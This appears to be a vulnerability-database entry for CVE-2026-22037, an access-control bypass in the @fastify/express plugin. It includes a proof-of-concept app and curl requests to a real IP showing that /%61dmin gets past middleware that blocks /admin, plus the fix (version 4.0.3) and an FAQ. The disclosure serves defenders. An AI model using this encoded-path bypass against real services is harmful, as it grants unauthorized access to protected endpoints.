CVE-2026-22037: @fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)
Summary A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC Step 1: Run the following Fastify application (save as app.js):
javascript const fastify = require('fastify')({ logger: true });
async function start() { // Register fastify-express for Express-style middleware support await fastify.register(require('@fastify/express'));
// Middleware to block /admin route fastify.use('/admin', (req, res, next) => { res.statusCode = 403; res.end('Forbidden: Access to /admin is blocked'); });
// Sample routes fastify.get('/', async (request, reply) => { return { message: 'Welcome to the homepage' }; });
fastify.get('/admin', async (request, reply) => { return { message: 'Admin panel' }; });
fastify.get('/admin/dashboard', async (request, reply) => { return { message: 'Admin dashboard' }; });
// Start server try { await fastify.listen({ port: 3000 }); } catch (err) { fastify.log.error(err); process.exit(1); } }
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /%61dmin</pre> </body> </html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin {"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
Other sources
The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-22037?
CVE-2026-22037 has been classified as a moderate severity vulnerability.
How do I fix CVE-2026-22037?
To fix CVE-2026-22037, upgrade @fastify/express to version 4.0.3 or higher.
What does CVE-2026-22037 affect?
CVE-2026-22037 affects the @fastify/express plugin used in applications that require Express compatibility.
What type of vulnerability is CVE-2026-22037?
CVE-2026-22037 is classified as an issue related to improper handling of URL encoding.
Can CVE-2026-22037 allow unauthorized access?
Yes, CVE-2026-22037 can potentially allow bypass of middleware, leading to unauthorized access.